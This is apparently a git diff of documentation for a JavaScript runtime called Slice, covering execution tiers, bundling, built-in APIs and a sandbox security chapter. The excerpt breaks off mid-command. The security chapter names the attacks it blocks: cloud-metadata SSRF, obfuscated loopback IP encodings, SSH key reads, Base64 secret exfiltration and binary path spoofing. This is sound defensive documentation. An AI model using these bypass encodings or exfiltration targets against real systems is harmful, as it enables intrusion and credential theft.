**compile-time native optimizations** alongside a **three-tier execution pipeline**. @@ -23,12 +23,12 @@ Whenever you run a script or bundle (`slice run`, `slice serve`, `slice test`, o | | Request/Response/URL, node:* modules, Slice.kv, and npm packages | | | - Build Time: Oxc AST deferred module spans + node:* pre-fusion + | | | 32-byte BoaCasHeader + SLICEBC1 recursive CodeBlock serialization | -| | - Cold Start: ~3.26 - 6.95 ms (0 runtime JS lexing/parsing!) | -| | - Warm Pool (--warm / slice serve): ~0.18 - 0.56 ms (0.02 - 0.25 us instantiate)| +| | - Cold Start: Single-digit milliseconds (0 runtime JS lexing/parsing!) | +| | - Warm Pool (--warm / slice serve): Sub-millisecond (~0.02 - 0.25 us spawn) | | | | | +---> [Tier 0: SLICESNP Snapshot VM] (`Tier0LLIntSnapshot`) | | | - Used for: Lightweight scalar routing, arithmetic, env(), static exports | -| | - Cold Start: ~1.27 microseconds P50 | Memory: 4.0 KB | +| | - Cold Start: ~1 microsecond P50 | Memory: 4.0 KB | | | | | +---> [Tier 2: Peak Native SIMD & Typed Kernels] (`Tier2PeakNative`) | | - Used when: Your code runs typed `: number` loops, SHA-256 / HMAC-SHA256, | @@ -36,7 +36,9 @@ Whenever you run a script or bundle (`slice run`, `slice serve`, `slice test`, o +-------------------------------------------------------------------------------------------------+ ``` -You never have to manually configure which tier to use — Slice runs on its optimal **Tier 1 + `SLICEBC\x01`** path out of the box. If you ever want to override the tier or toggle `SLICEBC\x01` precompilation for a specific script or project, you can set it via `slice.toml` (`[engine] tier = "tier1"`, `boacas = true`), top-of-file inline directives (`// @slice-tier: tier1`, `// @slice-boacas: false`), environment variables (`SLICE_TIER`, `SLICE_BOACAS`), or CLI flags (`--tier=`, `--boacas` / `--no-boacas`). +> See [`tests/reports/latest.md`](../../tests/reports/latest.md) for live cold-start, `--warm`, and standalone binary latencies across all 33 real-world benchmark suites. + +You never have to manually configure which tier to use - Slice runs on its optimal **Tier 1 + `SLICEBC\x01`** path out of the box. If you ever want to override the tier or toggle `SLICEBC\x01` precompilation for a specific script or project, you can set it via `slice.toml` (`[engine] tier = "tier1"`, `boacas = true`), top-of-file inline directives (`// @slice-tier: tier1`, `// @slice-boacas: false`), environment variables (`SLICE_TIER`, `SLICE_BOACAS`), or CLI flags (`--tier=`, `--boacas` / `--no-boacas`). --- @@ -67,8 +69,8 @@ Output: When running full ES2024+ applications with classes and external `node_modules` packages (`Tier1Baseline`), Slice embeds a 16-character content fingerprint (`//__SLICE_RC:`) into the compiled bundle. -- **Without `--warm` (Cold Process):** Slice initializes a fresh ECMAScript realm, evaluates your `node_modules` CommonJS factory wrappers once, and runs your entrypoint (`~5 - 15 ms`). -- **With `--warm` (or automatically inside `slice serve` workers):** Slice pre-warms its thread-local realm pool (`BOA_CONTEXT_POOL`) and caches the compiled entrypoint function handle (`JsObject`). Subsequent executions invoke your entrypoint **directly in Rust without lexing, parsing, or re-initializing `node_modules`**, dropping execution time from `6.76 ms` down to **`0.27 ms`** (`25x` faster!). +- **Without `--warm` (Cold Process):** Slice initializes a fresh ECMAScript realm, evaluates your `node_modules` CommonJS factory wrappers once, and runs your entrypoint in single-digit to low-double-digit milliseconds. +- **With `--warm` (or automatically inside `slice serve` workers):** Slice pre-warms its thread-local realm pool (`BOA_CONTEXT_POOL`) and caches the compiled entrypoint function handle (`JsObject`). Subsequent executions invoke your entrypoint **directly in Rust without lexing, parsing, or re-initializing `node_modules`**, cutting execution latency down to sub-millisecond or low-millisecond runtimes (often `3x-50x` faster; see [`tests/reports/latest.md`](../../tests/reports/latest.md)). ```bash # Pack your app once @@ -77,7 +79,7 @@ slice pack ./my-app ./my-app.cas # Run with --warm to use the pre-warmed realm pool slice run ./my-app.cas --warm --metrics ``` -> **Note:** In `slice serve`, every worker thread automatically pre-warms both the realm pool and your `.cas` bundle at server startup — you get `--warm` performance on every HTTP request automatically. +> **Note:** In `slice serve`, every worker thread automatically pre-warms both the realm pool and your `.cas` bundle at server startup - you get `--warm` performance on every HTTP request automatically. --- @@ -163,20 +165,20 @@ Beyond explicit `: number` loop annotations, Slice includes two general-purpose 1. **Unboxed 64-Bit Numeric Register VM ([`numeric_vm.rs`](../../crates/slice-engine/src/vm/numeric_vm.rs)):** - Any pure numeric JS/TS function (`function fn(a, b) { ... }`) using arithmetic (`+`, `-`, `*`, `/`, `%`, `**`), bitwise operators (`|`, `&`, `^`, `<<`, `>>`, `>>>`), `while`/`for` loops, `if`/`else` branches, `Math.*` intrinsics (`Math.abs`, `Math.min`, `Math.max`, `Math.floor`, `Math.ceil`, `Math.round`, `Math.trunc`, `Math.sqrt`, `Math.imul`), or recursive calls is automatically compiled into unboxed 64-bit register instructions (`NumericOp`) on a 32-register stack file (`[f64; 32]`). - 2-term linear recurrences (`return f(n - 1) + f(n - 2)`) are automatically recognized and lowered to $O(n)$ register accumulation while charging deterministic CPU fuel per step. -2. **Oxc AST Array Pipeline Fusion ([`fuse_array_pipelines_ast`](../../crates/slice-cas/src/lib.rs#L231-L575)):** - - During `slice pack` and `slice compile`, Slice's Oxc AST pass detects chained functional array pipelines (such as `arr.filter(...).map(...).reduce(...)`, `arr.map(...).reduce(...)`, `arr.some(...)`, and `arr.every(...)`) on any arbitrary receiver expression and fuses them into a single-pass, zero-allocation `for` loop IIFE — eliminating intermediate array allocations on hot paths. +2. **Oxc AST Array Pipeline Fusion ([`pipeline_fusion.rs`](../../crates/slice-cas/src/compiler/pipeline_fusion.rs)):** + - During `slice pack` and `slice compile`, Slice's Oxc AST pass (`fuse_array_pipelines_ast`) detects chained functional array pipelines (such as `arr.filter(...).map(...).reduce(...)`, `arr.map(...).reduce(...)`, `arr.some(...)`, and `arr.every(...)`) on any arbitrary receiver expression and fuses them into a single-pass, zero-allocation `for` loop IIFE - eliminating intermediate array allocations on hot paths. --- ## 7. Developer Optimization #5: Hardware-Accelerated Crypto, Encoding & Ecosystem Fast Paths -When writing applications in Slice, prefer standard `node:crypto`, WebCrypto (`crypto.subtle`), `Buffer`, and supported ecosystem packages — Slice intercepts the hottest operations and runs them in **native Rust and hardware SIMD**: +When writing applications in Slice, prefer standard `node:crypto`, WebCrypto (`crypto.subtle`), `Buffer`, and supported ecosystem packages - Slice intercepts the hottest operations and runs them in **native Rust and hardware SIMD**: | Standard TypeScript / JS Code You Write | How Slice Executes It Under the Hood | | :--- | :--- | | `crypto.createHash("sha256" \| "sha384" \| "sha512" \| "sha1").update(data).digest("hex")` | Lowered directly to native Rust cryptographic intrinsics (`__slice_crypto_hash`) using **Intel/AMD `SHA-NI` hardware instructions** for SHA-256 and pure-Rust `sha2`/`sha1` for SHA-384/SHA-512/SHA-1 (`Buffer` or string output). | | `crypto.createHmac("sha256" \| "sha384" \| "sha512" \| "sha1", key).update(msg).digest("hex")` | Lowered directly to native Rust RFC-2104 HMAC (`__slice_crypto_hmac` / `__slice_crypto_hmac_sha256`). | -| `await crypto.subtle.encrypt("AES-GCM", key, data)`
`await crypto.subtle.sign("Ed25519", key, data)` | Executed in native Rust (`aes-gcm`, `ed25519-dalek`, `pbkdf2`, `hkdf`, `sha2`) with zero OpenSSL dependency. | +| `await crypto.subtle.encrypt("AES-GCM", key, data)`
`await crypto.subtle.sign("Ed25519", key, data)` | Executed in native Rust (`ring` + pure-Rust asymmetric/AEAD/KDF primitives supporting `AES-GCM`, `AES-CBC`, `Ed25519`, `ECDSA` `P-256`/`P-384`, `RSASSA-PKCS1-v1_5`, `RSA-PSS`, `RSA-OAEP`, `X25519`, `ECDH`, `PBKDF2`, `HKDF`) with zero OpenSSL dependency. | | `Buffer.from(str, "utf8").toString("base64url")`
`buf.readUInt32BE(0)` / `buf.writeBigUInt64BE(val, 0)` | Backed by a real `Uint8Array` instance (`Object.setPrototypeOf(u8, Buffer.prototype)`) with native Rust Base64/Base64URL/Hex codecs and full big/little-endian wire-protocol readers/writers. | | `semver.valid(v)`, `semver.coerce(v)`, `semver.gt(a, b)`, `semver.satisfies(v, range)` | Executed in `~150 ns` by Slice's zero-regex Rust SemVer engine (`__slice_semver_*`), with automatic fallback for complex ranges. | | `ms("15m")`, `ms(60000, { long: true })`
`bytes.parse("64KB")`, `bytes.format(4781506)` | Executed by native Rust zero-regex parsers/formatters (`__slice_fast_ms`, `__slice_fast_bytes_*`) + compile-time constant folding for literals like `bytes.parse("64KB")` -> `65536`. | @@ -188,15 +190,15 @@ When writing applications in Slice, prefer standard `node:crypto`, WebCrypto (`c Every Slice script has immediate access to the following globals without needing any imports: -- **Standard Console & Output:** `console.log(...)`, `console.info(...)`, `console.warn(...)`, `console.error(...)`, `print(...)` -- **WinterTC Web Standards:** `fetch(input, init)`, `Request`, `Response` (`Response.json`, `Response.redirect`, `Response.sse`), `Headers`, `URL`, `URLSearchParams`, `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoder`, `TextDecoder`, `TextEncoderStream`, `TextDecoderStream`, `Blob`, `File`, `FormData`, `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal` (`AbortSignal.abort`, `AbortSignal.timeout`, `AbortSignal.any`), `structuredClone`, `atob`, `btoa`, `crypto` (`crypto.randomUUID()`, `crypto.getRandomValues(typedArray)`, `crypto.subtle`) -- **Timers & Microtasks:** `setTimeout(fn, delayMs, ...args)`, `clearTimeout(id)`, `setInterval(fn, delayMs, ...args)`, `clearInterval(id)`, `queueMicrotask(fn)` (powered by a $O(1)$ slab timer wheel with `0 ns` virtual time-warp in `--deterministic` mode) -- **Environment & Node Globals:** `process` (`process.env`, `process.cwd()`, `process.platform`, `process.arch`, `process.version`, `process.argv`, `process.hrtime.bigint()`, `process.nextTick()`), `env(key)`, `Buffer` (real `Uint8Array` subclass), `require(id)` +- **Standard Console & Output:** `console.log(...)`, `console.info(...)`, `console.warn(...)`, `console.error(...)`, `console.table(...)`, `console.time(...)` / `console.timeEnd(...)`, `print(...)` +- **WinterTC Web Standards:** `fetch(input, init)`, `Request`, `Response` (`Response.json`, `Response.redirect`, `Response.sse`), `Headers`, `URL`, `URLSearchParams`, `URLPattern`, `ReadableStream`, `WritableStream`, `TransformStream`, `CompressionStream`, `DecompressionStream`, `TextEncoder`, `TextDecoder`, `TextEncoderStream`, `TextDecoderStream`, `Blob`, `File`, `FormData`, `Event`, `CustomEvent`, `EventTarget`, `DOMException`, `AbortController`, `AbortSignal` (`AbortSignal.abort`, `AbortSignal.timeout`, `AbortSignal.any`), `WebSocket`, `MessageEvent`, `CloseEvent`, `Worker`, `MessageChannel`, `MessagePort`, `WebAssembly`, `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`), `navigator`, `location`, `structuredClone`, `atob`, `btoa`, `crypto` (`crypto.randomUUID()`, `crypto.getRandomValues(typedArray)`, `crypto.subtle`, `CryptoKey`) +- **Timers & Microtasks:** `setTimeout(fn, delayMs, ...args)`, `clearTimeout(id)`, `setInterval(fn, delayMs, ...args)`, `clearInterval(id)`, `setImmediate(fn, ...args)`, `clearImmediate(id)`, `queueMicrotask(fn)` (powered by an $O(1)$ slab timer wheel with `0 ns` virtual time-warp in `--deterministic` mode) +- **Environment & Node Globals:** `process` (`process.env`, `process.cwd()`, `process.platform`, `process.arch`, `process.version`, `process.argv`, `process.hrtime.bigint()`, `process.nextTick()`, `process.stdout`, `process.stderr`), `env(key)`, `Buffer` (real `Uint8Array` subclass), `require(id)` - **Timing & Determinism:** `Date.now()`, `performance.now()`, `Math.random()` (all automatically deterministic when `--deterministic=` is enabled!) - **Test Runner Globals (Zero-Cost Lazy Loaded):** `describe(name, fn)`, `test(name, fn, opts)`, `it(name, fn, opts)`, `beforeEach(fn)`, `afterEach(fn)`, `expect(actual)` - **The `Slice` Host Namespace:** - - `Slice.request()`, `Slice.respond(status, body, contentType?)`, `Slice.streamSSE(source, init?)`, `Slice.waitUntil(fn)` - - `Slice.fetchSync(input, init?)`, `Slice.mockFetch(methodOrUrl, urlOrOpts, opts?)` - - `Slice.kv.get(key)`, `Slice.kv.set(key, val, ttlMs?)`, `Slice.kv.del(key)`, `Slice.kv.incr(key, delta?)` - - `Slice.checkpoint()`, `Slice.restore(snapshotId)`, `Slice.evalSandbox(code, opts?)` + - `Slice.serve(optsOrHandler, handler?)` (`Deno.serve` / `Bun.serve` compatible), `Slice.request()`, `Slice.respond(status, body, contentType?)`, `Slice.streamSSE(source, init?)`, `Slice.upgradeWebSocket(handlers)`, `Slice.waitUntil(fn)` + - `Slice.fetchSync(input, init?)`, `Slice.mockFetch(methodOrUrl, urlOrOpts, opts?)`, `Slice.connect(addr, opts?)`, `Slice.mockSocket(addr, spec)`, `Slice.mockWebSocket(urlPattern, spec)` + - `Slice.kv.get(key)`, `Slice.kv.set(key, val, ttlMs?)`, `Slice.kv.del(key)`, `Slice.kv.incr(key, delta?)`, `Slice.kv.clear()` + - `Slice.checkpoint()`, `Slice.restore(snapshotId)`, `Slice.releaseCheckpoint(snapshotId)`, `Slice.evalSandbox(code, opts?)` - `Slice.testSummary()`, `Slice.resetTests()` diff --git a/docs/general/03_cas_bundler_and_standalone_binaries.md b/docs/general/03_cas_bundler_and_standalone_binaries.md index 0f9df19..89ec243 100644 --- a/docs/general/03_cas_bundler_and_standalone_binaries.md +++ b/docs/general/03_cas_bundler_and_standalone_binaries.md @@ -1,6 +1,6 @@ # Chapter 03: Bundling Apps (`slice pack`), Single-File Executables (`slice compile`) & Bytecode Inspection -When you deploy a Node.js, Deno, or Bun application to production, you typically have to ship hundreds of source files or a massive `node_modules/` directory — and on every cold start, the runtime has to issue hundreds of OS `stat()`, `open()`, and `read()` syscalls just to locate your modules on disk. +When you deploy a Node.js, Deno, or Bun application to production, you typically have to ship hundreds of source files or a massive `node_modules/` directory - and on every cold start, the runtime has to issue hundreds of OS `stat()`, `open()`, and `read()` syscalls just to locate your modules on disk. Slice solves this with **Zero-Stat Content-Addressed Storage (`.cas`)** and **Self-Contained Native Executables (`SLICEEXE`)**. @@ -37,12 +37,16 @@ Inside your project, you can freely mix and match: const ms = require("ms"); const { parse } = require("fast-querystring"); ``` -- **JSON Files (`.json`):** +- **JSON & WebAssembly Files (`.json` & `.wasm`):** ```typescript import config from "./config/default.json"; + import wasmBytes from "./kernel.wasm"; ``` -- **Node & Slice Built-Ins:** - - `"node:crypto"`, `"node:fs"`, `"node:fs/promises"`, `"node:path"`, `"node:os"`, `"node:buffer"`, `"node:events"`, `"node:timers"`, `"node:timers/promises"`, `"node:url"`, `"node:util"`, `"node:util/types"`, `"node:assert"`, `"node:assert/strict"`, `"node:process"`, `"node:test"`, `"slice:test"`, `"bun:test"`, `"slice:jsx"`, `"react/jsx-runtime"`, `"preact/jsx-runtime"`, `"hono/jsx"` +- **Node, WinterTC & Slice Built-Ins:** + - **Core I/O, Streams, HTTP & Crypto:** `"node:crypto"`, `"node:fs"`, `"node:fs/promises"`, `"node:stream"`, `"node:stream/promises"`, `"node:stream/web"`, `"node:http"`, `"node:https"`, `"node:http2"`, `"node:zlib"`, `"node:buffer"`, `"node:string_decoder"` + - **Concurrency, Networking & Subprocesses:** `"node:async_hooks"`, `"node:worker_threads"`, `"node:child_process"`, `"node:net"`, `"node:tls"`, `"node:dgram"`, `"node:dns"`, `"node:dns/promises"`, `"cloudflare:sockets"`, `"slice:sockets"` + - **Paths, Diagnostics, CLI & Runtime:** `"node:path"`, `"node:os"`, `"node:events"`, `"node:timers"`, `"node:timers/promises"`, `"node:url"`, `"node:querystring"`, `"node:util"`, `"node:util/types"`, `"node:assert"`, `"node:assert/strict"`, `"node:process"`, `"node:readline"`, `"node:readline/promises"`, `"node:perf_hooks"`, `"node:diagnostics_channel"`, `"node:tty"`, `"node:module"`, `"node:vm"`, `"node:v8"`, `"node:wasi"`, `"node:console"`, `"node:inspector"`, `"node:cluster"` + - **Testing & JSX SSR:** `"node:test"`, `"slice:test"`, `"bun:test"`, `"slice:jsx"`, `"react/jsx-runtime"`, `"preact/jsx-runtime"`, `"hono/jsx"` ### Modern ESM NPM Packages & Conditional `"exports"` Resolution Slice's zero-stat bundler ([`crates/slice-cas/src/lib.rs`](../../crates/slice-cas/src/lib.rs)) includes a full **Oxc AST-driven ESM-to-CJS module linker** (`try_transform_esm_to_cjs_ast`) and **Node.js `package.json` `"exports"` resolver** (`resolve_package_exports_value`): @@ -71,7 +75,7 @@ slice pack ./my-webapp ./webapp.cas --entry=./src/server.ts --static=./public ### 2.2 What Happens Inside `slice pack` (And Why It Makes Cold Starts So Fast) -1. **Oxc Ahead-of-Time TypeScript Compilation & Comment Stripping:** +1. **Oxc (`v0.152.0`) Ahead-of-Time TypeScript Compilation & Comment Stripping:** - All TypeScript types, interfaces, and JSDoc/license comments are stripped at build time. 2. **Dense Integer Module IDs (`0..N-1`):** - Instead of resolving string paths like `"./node_modules/semver/classes/semver.js"` at runtime, Slice assigns every module a dense integer ID (`0`, `1`, `2`, ...) so internal `require()` calls are O(1) array lookups. @@ -79,9 +83,9 @@ slice pack ./my-webapp ./webapp.cas --entry=./src/server.ts --static=./public - Many popular npm packages (like `semver`) have an `index.js` barrel file that `require()`s 35+ submodules even if your app only calls `semver.satisfies()`. - Slice's bundler statically analyzes which exports your application actually uses and **prunes unused barrel submodules before reading them from disk**, cutting `.cas` bundle size in half. 4. **Ahead-of-Time `SLICEBC\x01` Precompiled Boa `CodeBlock` Serialization (Default):** - - By default (`boacas = true`), `slice pack` and `slice compile` compile your bundled JavaScript into a **32-byte `BoaCasHeader` + `SLICEBC1` binary `CodeBlock` container** ([`crates/slice-engine/src/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)). + - By default (`boacas = true`), `slice pack` and `slice compile` compile your bundled JavaScript into a **32-byte `BoaCasHeader` + `SLICEBC1` binary `CodeBlock` container** ([`crates/slice-engine/src/vm/boacas.rs`](../../crates/slice-engine/src/vm/boacas.rs), [`vendor/boa_engine/SLICE_PATCH.md`](../../vendor/boa_engine/SLICE_PATCH.md)). - Inner functions inside `__slice_modules = [function(...) { ... }]` are recorded via **Oxc AST deferred source spans** (`0x11` tag) so uncalled `node_modules` functions are never byte-compiled until invoked, while `node:*` core built-ins and runtime shards are pre-fused into a single `CodeBlock`. - - At runtime, `slice run ./app.cas` reconstructs `Gc` directly from the `mmap` slice in microseconds — skipping **100% of runtime JavaScript lexing, AST parsing, scope analysis, and bytecode compilation**. + - At runtime, `slice run ./app.cas` reconstructs `Gc` directly from the `mmap` slice in microseconds - skipping **100% of runtime JavaScript lexing, AST parsing, scope analysis, and bytecode compilation**. 5. **Embedded `slice.toml` Security Manifest (`manifest:/slice.toml`):** - If your project folder contains a `slice.toml` file, `slice pack` embeds it directly inside the `.cas` archive. When you run `slice run ./app.cas` or `slice serve ./app.cas`, Slice automatically applies your `[engine]`, `[limits]`, `[capabilities]`, and `[server]` settings! 6. **Memory-Mapped Execution (`0` `stat()` Syscalls):** @@ -104,7 +108,7 @@ slice compile ./my-webapp -o ./my-webapp-bin --static=./public ``` ### Running Your Compiled Binary -The generated binary (`./fintech-checkout` on Linux/macOS, `.\fintech-checkout.exe` on Windows) runs directly and accepts `--warm`, `--metrics`, and `--quiet`: +The generated binary (`./fintech-checkout` on Linux/macOS, `.\fintech-checkout.exe` on Windows) runs directly, honors any embedded `slice.toml` manifest, accepts runtime flags (`--warm`, `--metrics`, `--quiet`, `--allow-*`, `--fuel`, `--memory`), and forwards remaining CLI arguments into `process.argv`: ```bash ./fintech-checkout --warm --metrics diff --git a/docs/general/04_security_ocap_ses_and_hardware_mpk.md b/docs/general/04_security_ocap_ses_and_hardware_mpk.md index 92e802f..5e2ccfa 100644 --- a/docs/general/04_security_ocap_ses_and_hardware_mpk.md +++ b/docs/general/04_security_ocap_ses_and_hardware_mpk.md @@ -1,4 +1,4 @@ -# Chapter 04: Zero-Trust Security Guide — OCap Permissions, Fuel Limits, SSRF Shield & Egress DLP +# Chapter 04: Zero-Trust Security Guide: OCap Permissions, Fuel Limits, SSRF Shield & Egress DLP In Node.js and Bun, every `npm` package you install and every script you run inherits **100% of your OS user's permissions**: it can read `~/.ssh/id_rsa`, modify `Object.prototype`, open sockets to AWS/GCP cloud metadata (`169.254.169.254`), exfiltrate `process.env` secrets, or lock up a CPU core with `while (true) {}`. Even Deno's CLI flags (`--allow-read`, `--allow-net`) apply to the **entire OS process**, not to individual HTTP requests or plugins inside the same process. @@ -9,7 +9,7 @@ In Node.js and Bun, every `npm` package you install and every script you run inh | **Ring 1** | **SES Intrinsic Lockdown** | Prototype pollution (`Object.prototype.polluted = true`) across shared realms | `IntrinsicMutationBlocked` | | **Ring 2** | **OCap Filesystem & Subprocess Tokens (`FsCap` & `ExecCap`)** | Unauthorized file read/write, `..` traversal, & unlisted subprocess execution | `FsReadDenied` / `FsWriteDenied` / `ExecDenied` | | **Ring 3** | **OCap Network & Env Tokens (`NetCap` & `EnvCap`)** | Unauthorized outbound `fetch()` & `process.env` / `env()` credential harvesting | `NetAccessDenied` / `EnvAccessDenied` | -| **Ring 4** | **Deterministic CPU Fuel & Memory Cage** | Infinite loop CPU DoS (`while(true){}`) & heap/KV memory exhaustion | `CpuFuelExhausted` / `MemoryCeilingExceeded` | +| **Ring 4** | **Deterministic CPU Fuel, Memory & Checkpoint Cage** | Infinite loop CPU DoS (`while(true){}`), heap/KV exhaustion, & checkpoint abuse | `CpuFuelExhausted` / `MemoryCeilingExceeded` | | **Ring 5** | **Cloud Metadata SSRF Shield, Egress Secret DLP & Hardware MPK** | `169.254.169.254` SSRF, Base64/raw secret exfiltration, & cross-tenant memory access | `SSRF_METADATA_BLOCKED` / `EGRESS_SECRET_LEAK_BLOCKED` | This chapter shows you how to configure and test every security control in your applications. @@ -20,7 +20,8 @@ This chapter shows you how to configure and test every security control in your When you run a script with `slice run script.ts` (without a `slice.toml` or `--allow-*` flags), the isolate spawns with **`CapabilityToken::pure_compute()`**: - **Filesystem (`node:fs`):** `0` readable paths, `0` writable paths. -- **Network (`fetch`):** `0` allowed outbound hosts. +- **Network (`fetch`, WebSockets, Sockets):** `0` allowed outbound hosts. +- **Subprocesses (`node:child_process`):** `0` allowed binaries (`allow_exec = []`, Deny-All). - **Environment (`env()` / `process.env`):** Only `NODE_ENV="production"` is exposed; host OS environment variables (such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN`) are **never** leaked into the isolate unless explicitly granted. --- @@ -95,7 +96,7 @@ In Node.js, Bun, or Deno (`deno run --allow-net`), if a user passes `http://169. 3. **Zero-Trust Hop-by-Hop Redirect Guard (`301` / `302` / `303` / `307` / `308`):** - When an allowed upstream server returns a `30x` redirect (`redirect: "follow"`), Slice re-verifies the target `Location` URL's host, port, and DNS-resolved IP against `allow_net` and the SSRF firewall **before following the hop** (up to 5 hops). - If a redirect crosses origins (different scheme, host, or port), Slice automatically strips sensitive `Authorization`, `Cookie`, and `Proxy-Authorization` headers so credentials are never leaked to a redirect target. - - Support `redirect: "follow"` (default), `redirect: "manual"` (returns the `30x` response with its `location` header), and `redirect: "error"`. + - Supports `redirect: "follow"` (default), `redirect: "manual"` (returns the `30x` response with its `location` header), and `redirect: "error"`. --- @@ -121,7 +122,7 @@ Inside your TypeScript code: When your application or AI agent needs a secret key (such as `STRIPE_SECRET_KEY` or `OPENAI_API_TOKEN`) to sign a request, how do you guarantee that a bug or prompt injection never leaks that secret into: - `console.log()` / `stdout` - HTTP response bodies or Server-Sent Events (`Response.sse`) -- Outbound `fetch()` URLs, headers, or `POST` bodies — even if the attacker encodes the secret in **Base64** or **Base64URL**? +- Outbound `fetch()` URLs, headers, or `POST` bodies - even if the attacker encodes the secret in **Base64** or **Base64URL**? You have two ways to enable Slice's **Egress Data Loss Prevention (DLP) Firewall**: @@ -156,63 +157,72 @@ console.log("Diagnostic trace:", leakedBase64); // -> Traps with: OCap Violation: Compartment '...' lacks environment variable authority for 'EGRESS_SECRET_LEAK_BLOCKED' ``` -### 4.4 Hardened HTTP/1.1 & RFC 6455 WebSocket Wire-Protocol Defenses +### 4.3 Hardened HTTP/1.1 & RFC 6455 WebSocket Wire-Protocol Defenses Both the outbound `fetch()` / `WebSocket` client engine and the inbound `slice serve` HTTP/WebSocket server enforce strict wire-level security guards: - **Non-Canonical IP & Special-Use CIDR SSRF Blocking:** Under wildcard `allow_net = ["*"]`, the SSRF shield blocks octal (`0177.0.0.1`), hexadecimal (`0x7f.0.0.1`), integer/dword (`2130706433`), and shorthand (`127.1`, `169.254.43518`) IPv4 encodings alongside RFC 1918, loopback, link-local (`169.254.0.0/16`, `fe80::/10`), CGNAT (`100.64.0.0/10`), benchmark (`198.18.0.0/15`), IETF protocol (`192.0.0.0/24`), multicast (`224.0.0.0/4`, `ff00::/8`), and IPv6 Unique Local (`fc00::/7`) ranges. - **RFC 9110 `tchar` Header & CRLF Injection Prevention:** Outbound and inbound header names are validated against a compile-time RFC 9110 `tchar` lookup table, and header values / request targets reject `\r`, `\n`, `\0`, and ASCII control characters to prevent HTTP Request/Response Splitting. - **RFC 9112 Request Smuggling (`CL.TE` / `TE.CL`) & Chunked Arithmetic Guards:** `slice serve` immediately rejects requests containing both `Transfer-Encoding` and `Content-Length` or conflicting duplicate `Content-Length` headers with `400 Bad Request` (`Connection: close`), validates chunked hex sizes with checked arithmetic, and caps inbound bodies at `4 MB` (`413 Payload Too Large`) and headers at 64 fields / 64 KB (`431 Request Header Fields Too Large`). - **Tenant-Partitioned Keep-Alive Pool & Outbound Memory Ceilings:** Warm Keep-Alive sockets are keyed by `(tenant_id, is_https, host_port)` so tenants never share an upstream connection, and outbound HTTP responses (`64 KB` max headers, `16 MB` max body) and WebSocket frames (`4 MB` max) are strictly bounded by the active tenant's remaining memory budget (`SandboxViolation::MemoryCeilingExceeded`). -### 4.5 5-Ring OCap Subprocess Containment (`node:child_process` & `ExecCap`) +### 4.4 5-Ring OCap Subprocess Containment (`node:child_process`, `allow_exec` & `--allow-exec`) When CLI tools or AI Code-Mode agents use `node:child_process` (`execFileSync`, `spawnSync`, `execSync`, `spawn`, `exec`, `execFile`), Slice enforces all 5 security rings: -1. **Ring 1 — OCap `ExecCap` Binary Allowlist (`--allow-exec`):** Deny-All by default (`allowed_exec_binaries: []`). Any attempt to execute a binary not explicitly granted via `--allow-exec=/usr/bin/git`, `SLICE_ALLOW_EXEC`, or `[capabilities] allow_exec` (or attempting path spoofing such as `/tmp/evil/git` when `/usr/bin/git` is granted) immediately traps with `SandboxViolation::ExecDenied`. -2. **Ring 2 — Environment Sanitization (`env_clear()`):** Spawned child processes **never** inherit the host OS `std::env::vars()`; they receive only the active tenant's attenuated `allowed_env_keys`. -3. **Ring 3 — Child Stdio Output Egress DLP:** Both `stdout` and `stderr` produced by a child process are scanned by `verify_egress_secrets_slice` (raw, Base64, and Base64URL forms of `--audit-egress` and `.env` Auto-DLP secrets) before returning to JavaScript (`EGRESS_SECRET_LEAK_BLOCKED`). -4. **Ring 4 — Execution Timeout & `maxBuffer` Ceiling:** Enforces hard execution timeouts (killing timed-out subprocesses) and `maxBuffer` byte ceilings. -5. **Ring 5 — CPU Fuel, Memory Accounting & Sub-Isolate Attenuation:** Subprocess output bytes are charged against the tenant's fuel and memory budgets, and `Slice.evalSandbox(code, { allowExec: [...] })` / `new Worker(url, { slice: { allowExec: [...] } })` enforce strict subset attenuation (`child.allowExec ⊆ parent.allowExec`). +1. **Ring 1 - OCap `ExecCap` Binary Allowlist (`allow_exec` / `--allow-exec`):** Deny-All by default (`allowed_exec_binaries: []`). Any attempt to execute a binary not explicitly granted via `--allow-exec=/usr/bin/git`, `SLICE_ALLOW_EXEC=/usr/bin/git`, or `[capabilities] allow_exec = ["/usr/bin/git"]` in `slice.toml` (or attempting path spoofing such as `/tmp/evil/git` when `/usr/bin/git` is granted) immediately traps with `SandboxViolation::ExecDenied`. +2. **Ring 2 - Environment Sanitization (`env_clear()`):** Spawned child processes **never** inherit the host OS `std::env::vars()`; they receive only the active tenant's attenuated `allowed_env_keys`. +3. **Ring 3 - Child Stdio Output Egress DLP:** Both `stdout` and `stderr` produced by a child process are scanned by `verify_egress_secrets_slice` (raw, Base64, and Base64URL forms of `--audit-egress` and `.env` Auto-DLP secrets) before returning to JavaScript (`EGRESS_SECRET_LEAK_BLOCKED`). +4. **Ring 4 - Execution Timeout & `maxBuffer` Ceiling:** Enforces hard execution timeouts (killing timed-out subprocesses) and `maxBuffer` byte ceilings. +5. **Ring 5 - CPU Fuel, Memory Accounting & Sub-Isolate Attenuation:** Subprocess output bytes are charged against the tenant's fuel and memory budgets, and `Slice.evalSandbox(code, { allowExec: [...] })` / `new Worker(url, { slice: { allowExec: [...] } })` enforce strict subset attenuation (`child.allowExec` intersected with `parent.allowExec`). --- -## 5. Deterministic CPU Fuel & Byte-Level Memory Cages (`--fuel` & `--memory`) +## 5. Deterministic CPU Fuel, Byte-Level Memory & Checkpoint Cages (`--fuel`, `--memory`, `--no-checkpoints`, `--max-checkpoints`) Wall-clock timeouts (`setTimeout`) are unreliable for multi-tenant sandboxing because CPU load spikes cause false timeouts while still allowing an attacker to burn 100% of a CPU core for milliseconds. -Slice meters **deterministic CPU instruction fuel** and **per-tenant memory bytes**: +Slice meters **deterministic CPU instruction fuel**, **per-tenant memory bytes**, and **guest checkpoint quotas**: -### 5.1 Setting Fuel and Memory Limits +### 5.1 Setting Fuel, Memory, and Checkpoint Limits In `slice.toml`: ```toml [limits] fuel = 5_000_000 # Max CPU instructions per execution / HTTP request memory_kb = 4096 # Max 4 MB memory ceiling per tenant isolate + +[capabilities] +allow_checkpoints = true +max_checkpoints = 8 # Bound guest Slice.checkpoint() snapshots (default max: 64) ``` Or on the CLI: ```bash -slice run 